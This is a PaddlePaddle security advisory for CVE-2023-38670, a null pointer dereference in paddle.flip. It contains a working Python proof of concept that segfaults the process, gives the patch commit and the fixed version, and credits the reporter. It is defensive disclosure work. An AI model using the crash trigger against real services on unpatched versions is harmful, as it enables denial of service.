## PDSA-2023-002: Null pointer dereference in paddle.flip

### CVE Number

CVE-2023-38670

### Impact

`paddle.flip` segfaults with a nullptr dereference. The PoC is as follows:

```python
import paddle
import numpy as np
from paddle import flip

x = paddle.to_tensor(np.random.uniform(-10, 10, [1, 2, 3]).astype(np.int64)),
axis = paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, [3, 3]).astype(np.int32))

flip(x, axis)
```

### Patches

We have patched the issue in commit [ed96baeed19b4e11b6cbc2dcc6776245ba5fab13](https://github.com/PaddlePaddle/Paddle/commit/ed96baeed19b4e11b6cbc2dcc6776245ba5fab13).
The fix will be included in PaddlePaddle 2.5.0.

### For more information

Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution

This vulnerability has been reported by Tong Liu of ShanghaiTech University.
